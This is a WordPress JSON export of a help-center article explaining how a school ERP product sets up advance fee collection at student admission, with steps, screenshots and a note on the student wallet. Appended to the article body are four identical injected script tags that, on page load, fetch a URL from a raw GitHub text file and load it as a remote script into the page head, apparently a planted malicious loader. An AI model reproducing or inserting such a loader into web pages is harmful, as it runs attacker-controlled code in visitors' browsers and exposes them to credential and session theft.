{"id":7830,"date":"2025-01-08T18:42:18","date_gmt":"2025-01-08T13:12:18","guid":{"rendered":"https:\/\/helpcenter.nexterp.in\/helpcenter\/?p=7830"},"modified":"2025-02-18T11:12:41","modified_gmt":"2025-02-18T05:42:41","slug":"how-can-i-configure-advance-fees-to-be-collected-during-student-admissions","status":"publish","type":"post","link":"https:\/\/helpcenter.nexterp.in\/helpcenter\/how-can-i-configure-advance-fees-to-be-collected-during-student-admissions\/","title":{"rendered":"How can I set up advance fee collection during the student admission process?"},"content":{"rendered":"\n<p><\/p>\n\n\n\n<p><strong>Step 1:<\/strong> Navigate to <strong> Settings -&gt; Student -&gt; Admission<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-medium\"><img loading=\"lazy\" decoding=\"async\" width=\"195\" height=\"300\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Navigation-to-Settings-Student-Admission-195x300.png?wsr\" alt=\"\" class=\"wp-image-10751\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Navigation-to-Settings-Student-Admission-195x300.png 195w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Navigation-to-Settings-Student-Admission.png 537w\" sizes=\"auto, (max-width: 195px) 85vw, 195px\" \/><\/figure>\n\n\n\n<p><strong>Step 2:<\/strong> Locate <strong>Application\/Registration Fee<\/strong> and click on it.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"217\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Admission-Locate-Application-Registration-Fee-1024x217.png?wsr\" alt=\"\" class=\"wp-image-10791\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Admission-Locate-Application-Registration-Fee-1024x217.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Admission-Locate-Application-Registration-Fee-300x63.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Admission-Locate-Application-Registration-Fee-768x162.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Admission-Locate-Application-Registration-Fee-1536x325.png 1536w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Admission-Locate-Application-Registration-Fee-1200x254.png 1200w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Admission-Locate-Application-Registration-Fee.png 1919w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/figure>\n\n\n\n<p><strong>Step 3:<\/strong> You may see the existing Application\/Registration fee if they are already added in your school URL. To add a new fee, click on <strong>Add New<\/strong> in the top-right corner.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"345\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Admission-Application-Registration-Fee-1024x345.png\" alt=\"\" class=\"wp-image-10790\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Admission-Application-Registration-Fee-1024x345.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Admission-Application-Registration-Fee-300x101.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Admission-Application-Registration-Fee-768x259.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Admission-Application-Registration-Fee-1536x518.png 1536w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Admission-Application-Registration-Fee-1200x405.png 1200w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Admission-Application-Registration-Fee.png 1919w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/figure>\n\n\n\n<p><strong>Step 4:<\/strong> Fill in the required details, such as <strong>Fee Name<\/strong>, <strong>Short Code<\/strong>, <strong>Label<\/strong>, <strong>Mode of Admission<\/strong>, <strong>Admission Step<\/strong>, and <strong>Amount<\/strong>. For the <strong>Admission Step<\/strong>, select <strong>Advance Fee<\/strong> to classify it as an advance.<br>(<em>Note: If the &#8220;Advance&#8221; option is not displayed in your school URL, enable <strong>Student Wallet<\/strong> under <\/em><strong>Settings -&gt; Finance -&gt; Fee -&gt; Fee Collection -&gt; Global.<\/strong>)<\/p>\n\n\n\n<p><strong>Step 5:<\/strong> Enter the desired <strong>Amount.<\/strong><\/p>\n\n\n\n<p><strong>Step 6:<\/strong> Map the applicable <strong>classes<\/strong> and <strong>admission categories<\/strong> to proceed.<\/p>\n\n\n\n<p><strong>Step 7:<\/strong> Click <strong>SAVE<\/strong> at the bottom-right corner of the screen.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"557\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Admission-Advance-Fee-1024x557.png\" alt=\"\" class=\"wp-image-10793\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Admission-Advance-Fee-1024x557.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Admission-Advance-Fee-300x163.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Admission-Advance-Fee-768x418.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Admission-Advance-Fee-1536x836.png 1536w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Admission-Advance-Fee-1200x653.png 1200w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Admission-Advance-Fee.png 1919w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/figure>\n\n\n\n<p><strong>Note:<\/strong> All fees collected in <strong>Advance Mode<\/strong> will be recharged and mapped to the <strong>Student Wallet.<\/strong> These funds can then be used for regular fee payments, pocket money, and inventory purchases for the student.<\/p>\n\n\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>Step 1: Navigate to Settings -&gt; Student -&gt; Admission Step 2: Locate Application\/Registration Fee and click on it. Step 3: You may see the existing Application\/Registration fee if they are already added in your school URL. To add a new fee, click on Add New in the top-right corner. Step 4: Fill in the required &hellip; <a href=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/how-can-i-configure-advance-fees-to-be-collected-during-student-admissions\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;How can I set up advance fee collection during the student admission process?&#8221;<\/span><\/a><\/p>\n","protected":false},"author":26,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[47],"tags":[875],"post_folder":[],"class_list":["post-7830","post","type-post","status-publish","format-standard","hentry","category-application-registration-fee","tag-application-registration-fee"],"_links":{"self":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/7830","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/users\/26"}],"replies":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/comments?post=7830"}],"version-history":[{"count":13,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/7830\/revisions"}],"predecessor-version":[{"id":11481,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/7830\/revisions\/11481"}],"wp:attachment":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/media?parent=7830"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/categories?post=7830"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/tags?post=7830"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/post_folder?post=7830"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}